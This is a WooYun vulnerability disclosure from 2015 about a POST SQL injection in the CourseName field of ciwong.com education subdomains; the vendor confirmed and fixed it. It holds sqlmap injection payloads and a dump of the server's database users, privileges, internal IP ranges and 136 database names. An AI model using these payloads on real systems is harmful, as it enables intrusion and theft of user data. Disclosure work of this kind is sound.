当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-092266

漏洞标题：习网某子域POST注入涉及136个MySQL数据库海量数据

相关厂商：习网

漏洞作者： 路人甲

提交时间：2015-01-17 21:15

修复时间：2015-02-20 14:00

公开时间：2015-02-20 14:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-17： 细节已通知厂商并且等待厂商处理中
2015-01-19： 厂商已经确认，细节仅向厂商公开
2015-01-29： 细节向核心白帽子及相关领域专家公开
2015-02-08： 细节向普通白帽子公开
2015-02-18： 细节向实习白帽子公开
2015-02-20： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

习网某子域POST注入涉及136个数据库海量数据
看到上午有人提交注入漏洞，不知道有没有重复。。

详细说明：

http://*.e.ciwong.com/course/Home/，提交课本名称处，CourseName字段可进行POST注入。
列举如：
http://bmxx.e.ciwong.com/
http://ftwy.e.ciwong.com/
http://hfsjwy.e.ciwong.com/
http://hlsz.e.ciwong.com/
http://hqczx.e.ciwong.com/
ping上述子域，貌似都在同一台服务器上。
选择http://bmxx.e.ciwong.com/course/Home/，抓包，

POST /course/Home/GetCourseSharedLists HTTP/1.1
Host: bmxx.e.ciwong.com
Accept: application/json, text/javascript, */*; q=0.01
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
PeriodID=0&GradeID=0&SemesterID=0&SubjectID=0&VersionID=0&CourseTypeId=-1&CourseName=hello&pageIndex=1&pageSize=12

漏洞证明：

用Sqlmap跑之，

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: CourseName (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: CourseName=hello' AND (SELECT 6457 FROM(SELECT COUNT(*),CONCAT(0x71627a7a71,(SELECT (CASE WHEN (6457=6457) THEN 1 ELSE 0 END)),0x716b767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jQkw'='jQkw
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries
    Payload: CourseName=hello'; SELECT SLEEP(30)-- 
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: MySQL 5.0
current user:    'ciwong_it@%'
database management system users privileges:
[*] 'bkpuser'@'127.0.0.1' [3]:
    privilege: LOCK TABLES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
[*] 'cacti'@'192.168.1.241' (administrator) [3]:
    privilege: PROCESS
    privilege: REPLICATION CLIENT
    privilege: SUPER
[*] 'ciwong_it'@'%' [11]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: DELETE
    privilege: EVENT
    privilege: EXECUTE
    privilege: INDEX
    privilege: INSERT
    privilege: SELECT
    privilege: UPDATE
[*] 'repl'@'192.168.1.%' [2]:
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
[*] 'repl_ck'@'192.168.1.%' [2]:
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
[*] 'root'@'%' [3]:
    privilege: EVENT
    privilege: EXECUTE
    privilege: SELECT
[*] 'root'@'127.0.0.1' (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE
[*] 'root'@'::1' (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE
[*] 'root'@'localhost' (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE
[*] 'tools_ciwong'@'192.168.1.%' [1]:
    privilege: USAGE
[*] 'videouser'@'%' [1]:
    privilege: USAGE
[*] 'webadmin_pac'@'%' [1]:
    privilege: EXECUTE
[*] 'wordchange'@'%' [5]:
    privilege: DELETE
    privilege: EXECUTE
    privilege: INSERT
    privilege: SELECT
    privilege: UPDATE
[*] 'xxcg_ciwong'@'192.168.1.%' [1]:
    privilege: USAGE
[*] 'zhiligame'@'%' [1]:
    privilege: USAGE
available databases [136]:
[*] beehive_listenread
[*] beehive_pointmall
[*] beehive_synchronwork
[*] beehive_voicespeech
[*] beehivedb
[*] bookcase
[*] ciwong_colorful
[*] ciwong_newsmanagement
[*] ciwong_qr
[*] cloudreader
[*] cmsdata
[*] cw_6v68_settlement
[*] cw_admin_elearning
[*] cw_admin_elearning_bak
[*] cw_app_store
[*] cw_audio_video_db
[*] cw_basedapplications
[*] cw_chinadream
[*] cw_cooperator
[*] cw_dw
[*] cw_edu
[*] cw_elearning
[*] cw_elearning_bak
[*] cw_englishshow
[*] cw_eshop_cart
[*] cw_eshop_common
[*] cw_eshop_news
[*] cw_eshop_order
[*] cw_eshop_product
[*] cw_eshop_user
[*] cw_gwy
[*] cw_hd
[*] cw_homepage
[*] cw_jibei
[*] cw_jibei_school
[*] cw_learnmonth
[*] cw_microvideo
[*] cw_netschool
[*] cw_packager_arithmetic
[*] cw_packager_arithmetic_en
[*] cw_packager_ebook
[*] cw_packager_experiment
[*] cw_packager_experiment_v2
[*] cw_packager_kousuan
[*] cw_packager_learning_level
[*] cw_packager_listenning_ch
[*] cw_packager_listenning_ch_v2
[*] cw_packager_listenning_en
[*] cw_packager_listenning_en_v2
[*] cw_packager_playwords
[*] cw_packager_reading_ch
[*] cw_packager_reading_en
[*] cw_packager_speaking_en
[*] cw_pay
[*] cw_press
[*] cw_press_new
[*] cw_recommend
[*] cw_resx_center
[*] cw_settlement
[*] cw_trainingdb
[*] cw_workcategory
[*] cw_workcategory_arithmetic
[*] cw_workcategory_arithmetic_en
[*] cw_workcategory_common
[*] cw_workcategory_ebook
[*] cw_workcategory_experience
[*] cw_workcategory_experiment
[*] cw_workcategory_experiment_v2
[*] cw_workcategory_learning_level
[*] cw_workcategory_listenning_ch
[*] cw_workcategory_listenning_ch_v2
[*] cw_workcategory_listenning_en
[*] cw_workcategory_listenning_en_v2
[*] cw_workcategory_more
[*] cw_workcategory_playwords
[*] cw_workcategory_reading_ch
[*] cw_workcategory_reading_en
[*] cw_workcategory_settings
[*] cw_workcategory_speaking_en
[*] cw_workshop
[*] cw_workshop2
[*] cw_yishang
[*] cw_yishang1
[*] cw_yishang_settle
[*] cw_ziyuan
[*] cwapi
[*] cwfav
[*] db_ciliao
[*] db_filestatus
[*] db_kousuan100
[*] db_statistics
[*] db_txb
[*] db_txb_paipai
[*] efficientclassroom
[*] enterprisestudy
[*] game
[*] gxktv3
[*] gxktv3_resource
[*] information
[*] information_schema
[*] microrecord
[*] mysql
[*] notebook_good
[*] notebook_mistake
[*] notebook_senten
[*] notebook_word
[*] performance_schema
[*] qc_ciwong
[*] quesdata
[*] research
[*] research_ky
[*] roompermissionjingsai
[*] schoolzone
[*] searcher
[*] synchpreparation
[*] szdsy2013
[*] t_db_areaconf
[*] t_db_jibei
[*] t_db_listening
[*] t_db_markham
[*] t_db_reportlog
[*] t_db_roomtask
[*] t_db_tinyurl
[*] test
[*] videouser
[*] wiki
[*] wikicommunity
[*] wikipoint
[*] wikiques
[*] wordstockchinese
[*] wordstockenglish
[*] wordstockenglishchangebuilding
[*] wordstockenglishchangeclassifying
[*] wordstockenglishchangescene
[*] wordstocktempresources
[*] work_listen


root权限，什么权限都有。。。。

修复方案：

你们更懂

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-01-19 14:41

厂商回复：

漏洞修复中...

最新状态：

2015-02-20：谢谢，已修复。